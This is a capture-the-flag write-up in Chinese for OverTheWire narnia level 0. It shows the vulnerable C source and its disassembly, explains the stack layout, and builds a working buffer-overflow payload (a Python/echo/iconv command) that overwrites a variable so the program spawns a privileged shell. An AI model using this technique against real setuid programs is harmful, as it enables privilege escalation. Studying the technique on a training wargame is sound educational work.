narnia Level 0 -> 1 - OverTheWire 通关记录
任务:获取下一关的密码
正常来说,这关应该相当容易。但是目前出现了一点问题。首先我们看源码
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
再简单不过了,scanf接收24位,而buf只有20位。我们用gdb看看,执行disas man!main
我们看重点
Dump of assembler code for function main:
0x080491c6 <+0>: push %ebp
0x080491c7 <+1>: mov %esp,%ebp
0x080491c9 <+3>: push %ebx
0x080491ca <+4>: sub $0x18,%esp
0x080491cd <+7>: movl $0x41414141,-0x8(%ebp)
0x080491d4 <+14>: push $0x804a008
0x080491d9 <+19>: call 0x8049060 <puts@plt>
0x080491de <+24>: add $0x4,%esp
0x080491e1 <+27>: push $0x804a03b
0x080491e6 <+32>: call 0x8049040 <printf@plt>
0x080491eb <+37>: add $0x4,%esp
0x080491ee <+40>: lea -0x1c(%ebp),%eax
0x080491f1 <+43>: push %eax
0x080491f2 <+44>: push $0x804a051
0x080491f7 <+49>: call 0x80490a0 <__isoc99_scanf@plt>
0x080491fc <+54>: add $0x8,%esp
...
0x0804926a <+164>: leave
0x0804926b <+165>: ret
在栈上buf和val是相邻的,val对于buf是高地址,且栈空间分配 24 字节,溢出到了val的地址。
^...高地址
+-------------------+
| 保存的 %ebx | <- %ebp + 0xc
+-------------------+
| 局部变量 1 | <- %ebp - 0x4
+-------------------+
| 局部变量 val | <- %ebp - 0x8 (存放 0x41414141)
+-------------------+
| 局部变量 buf | <- %ebp - 0x1c (栈空间分配 24 字节)
+---------------------+
| 参数 1 (0x804a008)| <- %ebp - 0x20 (传递给 puts)
+---------------------+
v...低地址
+---------------------+
| 参数 4 (0x804a051)| <- %ebp - 0x2c (传递给下一次调用)
+---------------------+
理论上,我们直接输入20个字符加上ASCII编号是\xef\xbe\xad\xde就可以了,但是我这里出错了,在尝试python3 -c 'print("d"*20 + "\xef\xbe\xad\xde")'输入narnia0后,溢出的部分被转化成了一些其他ascii编号的情况,猜测是编码格式的问题,因为Python 2.x版本的默认输出编码是ASCII而python 3则改为了万国码,所以我们改用
echo $(python3 -c 'print("d"*20 + "\xef\xbe\xad\xde\x80")')|iconv -f UTF-8 -t ISO-8859-1
不加x80的话xde会被识别成替代字符”(
�
)也就不能正确转化成iso格式。
结果是:ddddddddddddddddddddᆳހ
输入到 narnia0就可以得到下一关的密钥。